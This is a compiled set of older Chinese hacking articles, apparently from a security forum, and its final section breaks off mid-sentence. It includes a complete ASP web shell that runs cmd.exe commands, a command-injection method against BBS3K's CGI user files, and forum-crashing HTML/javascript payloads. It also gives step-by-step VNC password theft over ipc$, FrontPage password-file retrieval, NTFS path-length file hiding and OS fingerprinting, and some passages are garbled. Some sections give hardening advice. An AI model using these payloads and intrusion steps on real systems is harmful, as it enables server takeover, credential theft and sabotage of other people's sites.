****论坛源码分析和安全设置*****
一、论坛源码分析
我们先打开yhreg.cgi这个文件来看看，找到控制注册部分的代码：
----------------------------------------------------------------------
sub reguser{
&origin;
$username=~s/\　//g;
if($passwordok ne "0"){$userpsd=$ftime};
if($username=~m/[\#\&\*\=\+\\\:\"\/\<\>?'`�;/){&errorview("名字中不能含有特殊字符!")]}
if($userpsd=~m/[\#\&\*\=\+\\\:\"\/\<\>?'`�;/){&errorview("密码中不能含有特殊字符!")]}
if(($userpsd eq "")||($username eq "")){&errorview("请填写您的名字和密码！");}
if(!($mail=~ /.*\@.*\..*/)){&errorview("您的Email输入错误！");exit;}
foreach (@badmail){$mail =~s/$_//gi;}
if($mail eq "" || $Cookies{badren} eq "1"){&errorview("您的Email被禁止注册！<SCRIPT>document.cookie=\"badren=\"+\"1\";</SCRIPT>");
}
($ip1,$ip2,$ip3,$ip4)=split(/\./,$from);$badi="$ip1.$ip2.$ip3";
foreach $badip (@badip) {&errorview("对不起！此段IP被禁止注册资料！") if($badip
    eq $badi);exit if($badip eq $badi);}
if(length($username) > 12){&errorview("您的名字不能大于12个字符！");}
if(length($comment) > 400 ){&errorview("您的签名不能大于200个汉字！");}
if(length($jiao) > 400 ){&errorview("您的简介不能大于200个汉字！");}
$comment=~s/\[sound]//isg;$comment=~s/\[\/sound]//isg;
$comment = &ybbcode("$comment");
------------------------------------------------------------------------
从他的程序我们可以看到用户名和密码所过滤的字符明显不足，信箱的过滤也存在
比较大的安全隐患，在用户修改yhxiu.cgi文件中也是存在同样的问题。
------------------------------------------------------------------------
sub reguser{
&origin;
if($newpsd=~m/[\#\&\*\=\+\\\:\"\/\<\>?'`�-;/){&errorview("密码中不能含有特殊字符!")]}
if(($FORM{'userpsd'} eq "")||($username eq "")||($mail
    eq "")){&errorview("名字　密码　信箱　必顺要填写的，请重新输入！");}
if(!($mail=~ /.*\@.*\..*/)){&errorview("您的Email输入错误！");exit;}
if(length($comment) > 400 ){&errorview("您的签名不能大于200个汉字！");}
if(length($jiao) > 400 ){&errorview("您的简介不能大于200个汉字！");}
if(length($city) > 12){&errorview("您填写的省份不能大于12个字符！");}
$comment=~s/\[sound]//isg;$comment=~s/\[\/sound]//isg;
-------------------------------------------------------------------------
我们查看他的用户资料保存的顺序又依此为：密码、用户名、信箱等等。因此我们就可以
通过过滤的不足精心构造一个能够执行cmd.exe的cgi代码。
一般的安全文章推荐过滤的字符有& ; ` ' \ " | * ? ~ < > ^ ( ) [ ] { } $ \n \r
    \t \0 # ../
除了特殊字符的过滤，我们还要注意要过滤一些命令形式的用户名和密码，比如说
system、exec、copy、dir等等。

二、过滤的重要性
由于过滤的不足和保存用户资料的方式不对，从而使得入侵者可以利用各种函数调
用命令，对一种编程语言而言，在设计这种语言的时候，一般情况下是不会产生安
全隐患的，在很多情况下，这种安全隐患是由程序员不小心或者对安全方面的不注
意所造成的。一个如软件整体的安全性仍然大部分依赖于这个软件制造者的知识面、
理解能力和他的安全意识。
程序的编写者不能过多的要求用户的安全配置能力，应该把安全的重点放在自己所编
写的程序代码能够做到最大的傻瓜化，即用户不需要做太多的事就能安全的使用自己
的作品，这是每个编程人员必须注意的。
Perl脚本中产生安全问题的一个很大的来源是没有经过正确确认(或根本就没有确认)
的用户的输入。我们不要指望每个注册用户都会认真填写注册信息，我们要提防某些
入侵者会发送给你假的输入。不正确的用户输入，如果没有经过确认就被认可并使用了，
将会导致许多方面出错。最常见和明显的错误是，没有经过确认就去执行有用户自定义
参数的其他程序。
perl cgi执行一个外部程序和一个系统命令的方法是通过调用exec()函数。当Perl遇
到一个exec()语句的时候，它会审视exec()被调用处的参数，然后启动一个新的进程来
执行这条指定的命令语句。Perl从不会返回调用exec()的原来的那个进程。
和EXEC()相似的函数是system()。system()的运行方式非常象exec()。两者最大的
区别是Perl会首先从父进程中分叉出一个子进程，子进程作为提供给system()的一个
参数。父进程等到子进程运行结束后再接着运行程序的其余部分。
传递给system()的参数是一个列表——列表里的第一个元素是要恢葱械恼飧?
程序的程序名，其他元素是传给这个程序的参数。然而，如果只有一个参数的的话，
system()的执行方式会发生差异。在那种情形下，Perl将会扫描这个参数看它是不是
包含任何shell转换字符。如果有的话，它就要把这些字符通过shell来解释。所以产
生一个shell命令行来工作。不然，Perl会降字符串拆成单词然后调用效率更高的c库
函数execvp(),这个函数不能理解特殊的shell字符。
因此，BBS3K在WIN2K下，在用户system用户资料的文件system.cgi中，我们可以构造成
system system @ARGV##badboy@badclub.org（后面略）
在这个目录能够执行CGI程序的情况下，我们就可以通过RUL赋予它执行的命令，
http://192.168.0.1/bbs3000/yhzl/system.cgi?dir
或者象DIR用户的用户资料构造成
system dir #badboy@badclub.org（后面略）
实际上也是一条简单的函数system()。

过滤用户输入的一个通常方法就是过滤任何不需要的转换字符和有可能函数命令问题
的数据。例如我们可以在BSS3K的用户注册和用户资料修改中过滤用户名、密码、信箱
中的非法字符。一旦看见非法的字符，腿贸绦蛟诵惺О埽庵植呗员怀莆焙诿ァ?
这种策略就是如果某东西没有明确禁止，那它肯定是好的。黑名单的过滤策略最重要的
问题是它非常难保持过滤的完整性。你也许会忘掉过滤某一特定字符，或者你的程序
或许不得不随不同的转换字符集合转到一个不同shell中。一个更好的策略就”白名单”
只过滤进合法的输入。我们在无法完全知道该过滤哪些非法字符时，我们可以通过验证
所输入的字符必须满足我们同意输入的字符，比如用户名和密码只能是数字和英文字母
的组合，如果不是，则过滤掉。
在《Perl CGI编程安全点滴》(作者:backend) 一文中，backend谈到了几个很重要的
并且是很常见忽略的过滤的问题，很值得CGI程序编程人员学习。
本文只测试在WIN2K情况下由于BBS3K过滤的不足引起的安全隐患，同样，在UNIX中，或者
其他的平台下，由于过滤的不足，也是会引起类似的安全问题，只是入侵的方式有些不同，
有兴趣者可以测试。

三、BBS3K在WIN2K下使用的安全建议

1、修改用户资料存放地址和文件格式，使别人不容易猜到你的存放目录的目录名，
2、限制访问用户资料目录，把YHZL目录执行许可设置为无。（一般空间租用者只能求助
于服务器管理人员）。
3、加强字符过滤。包括：用户名和信箱特殊符号的过滤，信箱字节长度的限制，特殊
用户名的注册。
4、重新调整用户资料的排列，把用户输入的数据和系统产生的分别隔开，使之很难构造
一条能够执行的命令语句。
5、限制everyone使用cmd.exe。（这条比较难做到，尤其是提供免费使用空间的站点，
空间租用者在安装BBS3K时本身就必须调用cmd.exe，在管理论坛时也许用到）


利用ASP服务攻击的漏洞描述及解决方法

    请先看如下的代码：

%@ Language=VBScript %>
%

Dim oScript
Dim oScriptNet
Dim oFileSys, oFile
Dim szCMD, szTempFile

On Error Resume Next

' -- create the COM objects that we will be
    using -- '
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")

' -- check for a command that we have posted -- '
szCMD = Request.Form(".CMD")
If (szCMD <> "") Then

' -- Use a poor man's pipe ... a temp file -- '
szTempFile = "C:\" & oFileSys.GetTempName( )
Call oScript.Run ("cmd.exe /c " & szCMD & " >" & szTempFile, 0, True)
Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)

End If

%>
HTML>
BODY>
FORM action="%= Request.ServerVariables("URL") %>" method="POST">
input type=text name=".CMD" size=45 value="">
input type=submit value="Run">
/FORM>
PRE>

%
If (IsObject(oFile)) Then
' -- Read the output from our command and remove the temp file -- '
On Error Resume Next
Response.Write Server.HTMLEncode(oFile.ReadAll)
oFile.Close
Call oFileSys.DeleteFile(szTempFile, True)
End If
%>
/BODY>
/HTML>

    看出什么来没有？

漏洞描述：

    你只要把它保存为*.asp放到一个支持asp的空间里，然后打开浏览器http://***.***.***/*.asp 就可以一目了然了。可以使用dos命令对服务器进行任何操作。这种情况可以发生在一个攻击者拥有目标NT服务器上的一个可写目录帐号，并且这个目录又支持ASP。比如一些支持ASP的个人主页服务器，把这个文件先传上你申请的主页空间，然后再浏览器里打开此页面直接使用dos命令。这样攻击者就能任意修改，执行目标服务器上的文件，不管他对这个文件有无读写访问权。

    所以那些提供有ASP服务的个人主页或者其它服务的服务器，就要加倍小心这种攻击了。

解决方法：

    其实它就是利用了上面讲的filesystemobject 组件篡改下载 fat 分区上的任何文件的漏洞。那么我们如何才能限制用户使用FileSystemObject对象呢？一种下下的方法是完全反注册掉提供FileSystemObject对象的那个组件，也就是Scrrun.dll。具体的方法如下：

    在ＭＳ－ＤＯＳ状态下面键入：

Regsvr32 /u \%winnt%\system\scrrun.dll

    但是这样的话，就不能使用FileSystemObject对象了，有时利用FileSystemObject对象来管理文件是很方便，有什么办法能两全其美呢？

    我们可以做到禁止他人非法使用FileSystemObject对象,但是我们自己仍然可以使用这个对象。

    方法如下：

    查找注册表中

HKEY_CLASSES_ROOT\Scripting.FileSystemObject 键值将其更改成为你想要的字符串(右键-->"重命名"),比如更改成为

HKEY_CLASSES_ROOT\Scripting.FileSystemObjectx

    这样,在ASP就必须这样引用这个对象了:

Set fso = CreateObject("Scripting.FileSystemObjectx")

    而不能使用：

Set fso = CreateObject("Scripting.FileSystemObject")

    如果再有人使用通常的方法来调用FileSystemObject对象就会无法使用了。当然除此之外我们还可以使用第三方的软件来解决这个问题


利用html标签对asp聊天室和论坛搞破坏的简单方法

最近想美化一下我的主页，打算学习一下html。可是本性不改，还是研究一下利用html怎样搞破坏吧。:-p。
首先是对论坛首页的破坏。我在本机(win2000+isss5.0)上对动网论坛3.0和极限论坛5.0做过测试并成功。(这两个版本我很早就下了，其它版本和其它asp论坛我想也应该存在同样问题)。这个破坏方法的原理在我以前写过一篇文章<<弹出式域名的深入研究>>中详细讲过，具体内容你可看这里：http://www.521hacker.com/article/show.php?id=1670 。说得是怎样利用html的<title>标签去掉网易域名广告。现在我们在论坛上利用<title>为用户名注册，注册后你会发现整个论坛首页无法显示。使首页无法显示的同样的破坏标签还有<style>和<script>，用<head>注册则自己的用户名无法正常显示。其它的html标签我没试验过。如果部份论坛注册后可以正常显示首页，你再用这个用户名发一个贴子再回复一个贴子，贴子的内容仍然是这几个破坏性标签，则论坛就无法正常显示了。再一个是对论坛贴子的破坏。许多asp论坛没有禁止贴图标签。你可以在[img]和[/img]中书写任意js代码。像写一个[img]javascript:alert("弹出对话框")[/img]，则一打开本贴就可以弹出 一个对话框。如果你在其中写self.open(file:///c:/con/con)呢？那么谁打开该贴没打补丁的win98就死机。由于本方法极具破坏作用，且方法简单实用性强，请只可在本机上试验，不要对国内论坛进行破坏。我用得就是极限论坛呀，我提出本方法后恳求各位且不可在我论坛上做试验。
最后一个就是聊天室了。我研究的是传说水吧，最流行的聊天室。它对注册用户名要求得很严格，我们只好另寻破坏方法。经我测试3.0以下版本在呼叫中存在<html>语句漏洞，你可以在呼叫中直接发送html语句。除了这个，我再没找到其它漏洞。但是无论哪一个版本它都有一个小bug呀，可以冒充别人对你说话。找到一个mm，想让她对你说我爱你，她不愿意呀。没关系，跟我来。水吧的动作是样表示的：//##对%%说，##代表自己，%%代表对方。先点mm名单，然后你在发言区输入//%%对##说我爱你，那么这个妹妹和你的屏幕上就会出现妹妹对你说我爱你的话了。另一个是如果你能下到传说水吧的数据库的话，我这有一个解密数据库用户密码的小脚本http://freehost12.websamba.com/lunta/sb.asp，虽然传说水吧作者说它的加密是不可逆的。

转载以上内容请注明下面签名。
海阳顶端网
www.haiyang.tk
lcx
2002.3.13


利用SQL发E-MAIL

一、启动SQL Mail

xp_startmail @user,@password

@user和@password都是可选的

也可打开Enterprise Manager中的Support Services，在SQL Mail上单击右键打开右键菜单，然后按Start来启动

二、停止SQL Mail

xp_stopmail

也可用上述方法中的菜单里的Stop来停止

三、发送邮件

xp_sendmail {[@recipients =] 'recipients [;...n]'}
[,[@message =] 'message']
[,[@query =] 'query']
[,[@attachments =] attachments]
[,[@copy_recipients =] 'copy_recipients [;...n]'
[,[@blind_copy_recipients =] 'blind_copy_recipients [;...n]'
[,[@subject =] 'subject']
[,[@type =] 'type']
[,[@attach_results =] 'attach_value']
[,[@no_output =] 'output_value']
[,[@no_header =] 'header_value']
[,[@width =] width]
[,[@separator =] 'separator']
[,[@echo_error =] 'echo_value']
[,[@set_user =] 'user']
[,[@dbuse =] 'database']

其中@recipients是必需的

参数说明：

参数 说明
@recipients 收件人，中间用逗号分开
@message 要发送的信息
@query 确定执行并依附邮件的有效查询，除触发器中的插入表及删除表外，此查询能引用任何对象
@attachments 附件
@copy_recipients 抄送
@blind_copy_recipients 密送
@subject 标题
@attach_results 指定查询结果做为附件发送
@no_header 不发送查询结果的列名
@set_user 查询联接的用户名，默认为Guset
@dbuse 查询所用的数据库，默认为缺省数据库

四、阅读邮件收件箱中的邮件

xp_readmail [[@msg_id =] 'message_number'] [, [@type =] 'type' [OUTPUT]]
[,[@peek =] 'peek']
[,[@suppress_attach =] 'suppress_attach']
[,[@originator =] 'sender' OUTPUT]
[,[@subject =] 'subject' OUTPUT]
[,[@message =] 'message' OUTPUT]
[,[@recipients =] 'recipients [;...n]' OUTPUT]
[,[@cc_list =] 'copy_recipients [;...n]' OUTPUT]
[,[@bcc_list =] 'blind_copy_recipients [;...n]' OUTPUT]
[,[@date_received =] 'date' OUTPUT]
[,[@unread =] 'unread_value' OUTPUT]
[,[@attachments =] 'attachments [;...n]' OUTPUT])
[,[@skip_bytes =] bytes_to_skip OUTPUT]
[,[@msg_length =] length_in_bytes OUTPUT]
[,[@originator_address =] 'sender_address' OUTPUT]]

参数说明：

参数 说明
@originator 发件人
@subject 主题
@message 信息
@recipients 收件人
@skip_tytes 读取邮件信息时跳过的字节数，用于顺序获取邮件信息段。
@msg_length 确定所有信息的长度，通常与@skip_bytes一起处理长信息

五、顺序处理下一个邮件

xp_findnextmsg [[@msg_id =] 'message_number' [OUTPUT]]
[,[@type =] type]
[,[@unread_only =] 'unread_value'])

六、删除邮件

xp_deletemail {'message_number'}

如果不指定邮件编号则删除收件箱中的所有邮件

七、自动处理邮件 sp_processmail [[@subject =] 'subject']
[,[@filetype =] 'filetype']
[,[@separator =] 'separator']
[,[@set_user =] 'user']
[,[@dbuse =] 'dbname']


利用TTL值来鉴别操作系统

.abu.

一、关于PING的介绍

PING命令来检查要到达的目标 IP 地址并记录结果。

ping 命令显示目标是否响应以及接收答复所需的时间。

如果在传递到目标过程中有错误，ping 命令将显示错误消息。

ICMP ECHO(Type 8) 和ECHO Reply (Type 0)

我们使用一个ICMP ECHO数据包来探测主机地址 HOST B 是否存活

（当然在主机没有被配置为过滤ICMP形式）

通过简单的发送一个ICMP ECHO(Type 8)数据包到目标主机

如果ICMP ECHO Reply(ICMP type 0)数据包 HOST A 可以接受到，说明主机是存活状态。

如果没有就可以初步判断主机没有在线或者使用了某些过滤设备过滤了ICMP的REPLY。

+---------------------------------------------------------------+
| |
| +-------+ +-------+ |
| | | ICMP Echo Request | | |
| | HOST | --------------------------> | HOST | |
| | | | | |
| | A | | B | |
| | | <-------------------------- | | |
| | | ICMP Echo Reply | | |
| +-------+ +-------+ |
| |
+---------------------------------------------------------------+
这种机制就是我们通常所用的ping命令来检测目标主机是否可以ping到。

典型的例子

C:\>ping 192.168.0.1

Pinging 192.168.0.1 with 32 bytes of data:

Reply from 192.168.0.1: bytes=32 time<10ms TTL=128
Reply from 192.168.0.1: bytes=32 time<10ms TTL=128
Reply from 192.168.0.1: bytes=32 time<10ms TTL=128
Reply from 192.168.0.1: bytes=32 time<10ms TTL=128

Ping statistics for 192.168.0.1:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 0ms, Maximum = 0ms, Average = 0ms

二、注意TTL

TTL：生存时间

指定数据报被路由器丢弃之前允许通过的网段数量。

TTL 是由发送主机设置的，以防止数据包不断在 IP 互联网络上永不终止地循环。

转发 IP 数据包时，要求路由器至少将 TTL 减小 1。

使用PING时涉及到的 ICMP 报文类型

一个为ICMP请求回显（ICMP Echo Request）

一个为ICMP回显应答（ICMP Echo Reply）

三、TTL 字段值可以帮助我们识别操作系统类型。

UNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 255

Compaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 64

微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 128

微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 32

当然，返回的TTL值是相同的

但有些情况下有所特殊

LINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 64

FreeBSD 4.1, 4.0, 3.4;
Sun Solaris 2.5.1, 2.6, 2.7, 2.8;
OpenBSD 2.6, 2.7,
NetBSD
HP UX 10.20
ICMP 回显应答的 TTL 字段值为 255

Windows 95/98/98SE
Windows ME
ICMP 回显应答的 TTL 字段值为 32

Windows NT4 WRKS
Windows NT4 Server
Windows 2000
ICMP 回显应答的 TTL 字段值为 128

这样，我们就可以通过这种方法来辨别

操作系统 TTL
LINUX 64
WIN2K/NT 128
WINDOWS 系列 32
UNIX 系列 255

经过测试的操作系统如下:
LINUX Kernel 2.2.x, Kernel 2.4t1-6; FreeBSD 4.1,4.0,3.4; OpenBSD 2.7,2.6; NetBSD
1.4.2; Sun Solaris 2.5.1,2.6,2.7,2.8; HP-UX 10.20, 11.0; AIX 4.1, 3.2; Compaq
Tru64 5.0; Irix 6.5.3,6.5.8; BSDI BSD/OS 4.0,3.1; Ultrix 4.2-4.5; OpenVMS 7.1-2;
Windows 95/98/98SE/ME; Windows NT 4 Workstation SP3, SP4, SP6a; Windows NT 4
Server SP4; Windows 2000 Professional, Server, Advanced Server.

附：

ICMP报文的类型包括如下：

ECHO (Request (Type 8), Reply (Type 0))--回显应答,

Time Stamp (Request (Type 13), Reply (Type 14))--时间戳请求和应答,

Information (Request (Type 15), Reply (Type16))--信息请求和应答,

Address Mask (Request (Type 17), Reply (Type 18))--地址掩码请求和应答等

参考资料来源：
WINDOWS 2K 系统帮助文件
http://www.sys-security.com

.abu.

中华补天网


利用windows的目录长度限制做一个保护目录

Microsoft Windows 的 NTFS 文件系统存在一个安全问题，它允许隐藏文件。

虽然 NTFS 文件系统允许32000字符的路径长度，但 Microsoft Windows 操作系统(NT4, 2000 和 XP) 却会强制将路径限制在256字符以内，如果建立的目录长度超过256字节将提示错误。

'SUBST'是将路径与驱动器号关联的程序，命令帮助如下显示：

C:\>help subst
将路径与驱动器号关联。

SUBST [drive1: [drive2:]path]
SUBST drive1: /D

drive1: 指定要指派路径的虚拟驱动器。
[drive2:]path 指定物理驱动器和要指派给虚拟驱动器的
路径。
/D 删除被替换的 (虚拟) 驱动器。

不加任何参数键入 SUBST，可以显示当前虚拟驱动器的清单。

如果用'SUBST'命令把目录映射成盘符，我们就可以继续建立目录，使路径长度突破256字节的限制。当我们去掉盘符映射的时候，由于绝对路径的长度超过256字节，使得目录深处的文件不能够被存取，只有再用'SUBST'命令把一部分目录映射成盘符，我们才能存取那些目录深处的文件。

这个漏洞对一些文件系统扫描程序（如杀毒软件）有很大的危害，当这些程序试图扫描那些超长路径的时候，会被Windows的路径限制所中断。所以一些隐藏在深层目录里的病毒将无法检测到。攻击者可以使用这个漏洞来隐藏文件，用资源管理器和一些其它的工具是无法存取的。

演示程序：

@echo off
cls
echo Start test-script NTFS-limit
@echo Create a filepath to the limit of NTFS
md
c:\temp\1234567890\1234567890\1234567890\1234567890\1234567890\1234567890
\1234567890\1234567890\1234567890\1234567890\1234567890\1234567890\12345
67890\1234567890\1234567890\1234567890\1234567890\1234567890\1234567890\
123456789
cd
c:\temp\1234567890\1234567890\1234567890\1234567890\1234567890\1234567890
\1234567890\1234567890\1234567890\1234567890\1234567890\1234567890\12345
67890\1234567890\1234567890\1234567890\1234567890\1234567890\1234567890\
123456789
@echo Create the Eicar test-string for PoC. This should be detected normally if you
have an active virusscanner.
echo
X5O!P%%@AP[4\PZX54(P^^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
>EICAR.TXT
echo. >>EICAR.TXT
@echo Activate the Eicar test-string
copy EICAR.TXT EICAR1.COM >NUL
@echo Create a subst-drive Q: for this path
subst Q:
c:\temp\1234567890\1234567890\1234567890\1234567890\1234567890\1234567890
\1234567890\1234567890\1234567890\1234567890\1234567890\1234567890\12345
67890\1234567890\1234567890\1234567890\1234567890\1234567890\1234567890\
123456789
@echo Create e even deeper filepath (thus exceeding the limit of NTFS's explorer)
md Q:\1234567890\1234567890\1234567890
@echo Change current folder into "the deep"
Q:
cd Q:\1234567890\1234567890\1234567890
@echo Create the Eicar test-string
echo
X5O!P%%@AP[4\PZX54(P^^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
>EICAR.TXT
echo. >>EICAR.TXT
@echo Activate the Eicar test-string
copy EICAR.TXT EICAR2.COM >NUL
EICAR2.COM
echo .
echo End of test-script


令人忽略的5900端口

首先把5900端口加进你常用的扫描器.

nt服务器的远程管理(所谓hack,就是去远程管理嘛),基于GUI的通常是win的终端连接(3389),pcanywhere(5631),还有就是vnc(5900),让我们来熟悉一下它.

VNC——Virtual Network Computing（即虚拟网络计算机系统）是由AT&T开发的各种操作系统之间的相互操作管理系统，使用VNC可以使你在不同的计算机之间实现真正的相互操作，不过，VNC只限于GUI之间的相互操作，如Windows同Linux系统的X Window之间相互操作，Windows同Macintosh之间的相互操作等,它可以安装在Windows中而让使用者在远端遥控自己的电脑，就算是遥控不同的操作平台也没有问题.

如果你使用的Linux系统,甚至可以用浏览器控制开了VNC服务的机器,如果你是用的win系统,你需要一个VNC的客户端连接器vncviewer.exe.

然而VNC的认证特别简单,它只通过简单的口令认证即允许用户全权操作远端的计算机,更可怕的是,VNC的密码就存储在注册表里,读出Registry的值后经过简单的解密,就能让VNC的密码显原形.一个叫Phenoelit的外国人写了一个解密程序x4.exe,他的网站http://www.phenoelit.de/还有些好东西,大家可以去看看.

现在来举个例子:我拿到了209.61.*.*的管理员administator的密码是7nt,它开了VNC服务(5900端口),现在开始:
1)net use \\209.61.*.*\ipc$ "7nt" /user:"administrator"
先和它做ipc$连接.(如果它没有开ipc$,你可以上传一个reg.exe去读它的Registry的值)
2)打开你的注册表,连接网络注册表(209.61.*.*),通常VNC的密码是在:\HKEY_CURRENT_USER\Software\ORL\WinVNC3\Password 读出他的值是:f1 ad 32 63 f5 ed 3e d7
3)在cmd下运行x4.exe,输入x4.exe -W回车,注意W要大写,然后输一个值回一次车,直到输完8个值,看看密码出来了:7ntok
4)用vncviewer.exe连过去看看吧,哈.

如果你还没有拿到对方管理员密码,也还有些软件可以挂字典暴破VNC的密码,速度还行,象scanarator,不过一般VNC的密码都较复杂,至少又多了一种攻破系统的方法和希望吧.

我以上提到的软件在小凤居有下载.

whh7nt.126.com 7nt 于 2002-4-25


流光四的frontpage扩展攻击

在流光扫描结果中有一项frontpage扩展攻击~下边来把以前的帖子重贴一下
希望有过攻击经验的来跟帖子~谢谢~因为他毕竟是一项新功能
Microsoft? FrontPage? 2000 服务器扩展是一组在站点服务器的程序，它可以支持管理、创作和浏览一个用 FrontPage 扩展的站点。FrontPage 服务器扩展使用公共网关接口 (CGI) 或 Internet 服务器应用程序接口 (ISAPI)，这些接口几乎是站点服务器扩展机制所通用的。他们可以与所有的标准站点服务器共同工作，包含商业站点服务器如 Microsoft 、Netscape、 Stronghold和 O'Reilly 与 Associates 以及例如 Apache 和 NCSA 等的免费和共享软件服务器。服务器扩展为易于移植到所有流行的硬件和软件平台而设计，以提供跨平台的兼容性。

客户端计算机和包含有服务器扩展的站点服务器之间使用开放的 HTTP 协议进行通讯，这个协议与客户端计算机上的 Web 浏览器和站点服务器互操作时所用的相同。站点服务器机器上不需要文件共享，也不需要 FTP 和 telnet。使用 FrontPage 服务器扩展不需要专门的文件系统共享调用。

当站点服务器上安装 FrontPage 服务器扩展之后，不论在 Internet 还是在 intranet 上，每个有 FrontPage 客户端的计算机都有对 FrontPage 站点进行创作和管理的功能。任何 Web 浏览器都有服务器扩展的浏览阶段功能。

下面，我们来看一看第一个采用Frontpage客户机软件进行的攻击。支持Frontpage的服务器会有若干个以字母”_vti”开头的工作目录。在任何常用的搜索引擎上搜索默认的Frontpage目录会得到大量从引擎上返回的信息。然后，入侵者就能对这些服务器进行简单而又反复的攻击。这种攻击的执行过程如下：
1- 打开您自己的Frontpage
2- 进入”Open frontpage web”对话框
3- 输入您要攻击的服务器的URL或IP
如果服务器没有设口令，或者，如果允许权限是分配给Everyone群组的，Frontpage就会为您打开远程站点并允许您能够进行更改。这种攻击实际上是很简单的。如果扩展名正确，就会出现用户名/口令对话。入侵者可以尝试一些基本的组合如管理员/口令。如果入侵者有兴趣，他会一直尝试下去。
另外，入侵者还可以用同样的"open frantpage web"方法来得到完整的用户列表。这种方法可以用在brute force攻击中。鉴于对通过这种方法终止用户名的收集进行解释的文件资料已经公开发布，您就应该建立一个象FP_www.yourdomain.com:80这样的限制群组。这个新的限制群组确实起作用，除非入侵者采用的是您的服务器的IP地址，而不是域名。还有其它一些方法能够与Frontpage一起使用，它们会抓取Frontpage口令文件。

Frontpage一般把口令存储在_vti_pvt目录下，有相同的service.pwd。入侵者会试着执行下列URL：http://www.someserver.com/_vti_pvt
如果允许权限设置不正确并允许目录浏览，入侵者就会得到该目录下的文件，包括service.pwd。管理员通常会重视安装和站点的安全性并限制对该目录的访问。尽管这个方法不错，但始终要防止NTFS对网络造成破坏。根据NTFS的配置，用户仍然可以得到口令文件的访问权限，即使对其父文件夹的访问已经被拒绝。在这种情况下，入侵者只需在URL中输入访问该文件的完整路径，如：
http://www.someserver.com/_vti_pvt/service.pwd
尽管Frontpage口令文件是加密文件，但它是用标准DES加密的，因此，任何DES解密高手都能在正确诊断该文件后获得口令信息。另外，入侵者也会刺探其它_vti目录，因为这些目录有时也会保存敏感信息。在掌握了用户名并对口令解密后，入侵者就会用他的Frontpage重新连接并提供身份证明信息；或者，如果相同的用户名/口令在上下文中能起作用，入侵者即可通过其它方式利用这些身份证明信息，如映射网络驱动器等。
（注：Service.pwd不是唯一已知的口令文件名。已经掌握的口令文件有Authors.pwd , admin.pwd, users.pwd和administrators.pwd等。）
在Frontpage相关的方法中，二进制FTP方法被看作是技术上最成熟的方法，虽然这种方法实现起来相当容易。这个二进制攻击会使入侵者通过Frontpage扩展名执行任意二进制文件。入侵者必须找到既支持Frontpage又支持FTP匿名可写程序的服务器。在通过FTP连接到服务器之后，入侵者就可以新建一个名为_vti_bin的目录。然后他就可以下载他想放在新建目录下的任何可执行程序。一旦上载了可执行文件，入侵者就会输入下列URL：
http://www.someserver.com/_vti_bin/uploaded_file
然后，服务器就会执行这个文件。
在二进制进攻方法被传播开来不久之后就发现了_vti_cnf。这会使入侵者查看到特定目录下的所有文件。通过用_vti_cnf替换index.html，入侵者就能看到该目录下的所有文件，并有可能获得访问权限。这种攻击结构如下：
标准结构—http://www.someserver.com/some_directory_structure/index.html
攻击结构—http://www.someserver.com/some_directory_structure/_vti_cnf

看起来，能产生类似结果的相同攻击类型数不胜数。遗憾的是，事实确实如此。
在这些缺陷中，有很多已经被研究缺陷变体的人士所发现，但并不是所有影响NT Web服务的缺陷都来自Internet信息服务器。
另外还有其它一些将在NT上运行的Web服务器软件包，象众所周知的Apache Web服务器。当然，有了这些第三方Web服务器软件包和在这些第三方软件包上运行的脚本，新的缺陷注定会暴露出来。
Webcom Datakommunikation曾经发布了一个允许Web站点的访问者在来宾卡上签名的cgi脚本。Cgi脚本的名字是guest.exe。只要发出正确的命令，这个小小的cgi脚本就会使攻击者查看到您服务器上的任意文本文件。

访问者要签名的表格页面包含了很多隐藏字段。其中一个隐藏输入字段如下（根据David Litchfield的报告）：
input type="hidden" name="template"
value="c:\inetpub\wwwroot\gb\template.htm">
or
input type=”hidden” name=”template” value=”/gb/template.htm”>
这里的template.htm是在用户输入信息后通过wguest.exe显示出来的文件。为了利用这一点，攻击者会查看源代码并把该文档保存在他的桌面上，然后通过改变他想查看的任意文件的路径对这一行进行编辑，例如：
input type="hidden" name="template"
value="c:\winnt\system32\$winnt$.inf">
[如果完成了独立安装，即可通过这个文件得到管理口令]
然后，点击”Submit”，wguest.exe就会显示这个文件。这种方法没有用PWL文件测试过。不过，攻击者必须知道他要查看的文件的正确路径。另一个“类属的”HTTPD方法涉及到一个在WindowsNT上运行的第三方Web服务器产品，称为Sambar服务器。下面是直接从招贴中引用的内容：查看攻击对象的HDD是大有可能的。您可通过使用这些关键字
+sambar +server +v4.1
搜索Internet，找到运行Sambar服务器的计算机。
如果您找到的站点是：http://www.site.net/，就做一次测试，运行一个perl脚本：
http://www.site.net/cgi-bin/dumpenv.pl
现在您看到的是攻击对象的计算机的完整环境，包括他的路径。您可以试着通过以下URL以管理员的身份登录：
http://www.site.net/session/adminlogin?Rcpage=/sysadmin/index.html
默认登录为：admin；默认口令为空白。如果攻击对象还没有更改他的设置，您现在就能控制他的服务器。另一个特征是查看攻击对象的HDD。如果您能运行perl脚本，也就应该能（在大多数情况下）通过他的路径查看目录的脚本。大多数人在路径行中都有
C:/program files和C:/windows，因此，您可以利用以下URL：
http://www.site.net/c:/program files/sambar41
我们在这里简单提一下Netscape Enterprise Server。有些软件版本通过允许用
户访问目录对?PageServices参数作出反应。http://www.site.net/?PageServices就是实现方法。


目标主机操作系统识别技术

普遍的入侵行为需要进行端口扫描，这是多数“黑客”的熟练技巧。大多数的端口扫描就是让我们能够达到
这样的目的：
1、让我们能够大致判断目标是什么操作系统
2、目标到底在运行些什么服务
当然，要扫描得到这些东西还是最后为了让我们能够知道哪些可能拿来利用，可能存在的漏洞，对目标主机的操作
系统类型识别，更能够方便地让我们去利用操作系统对应的漏洞实施攻击。很多工具提供的扫描也可能就直接得到什么
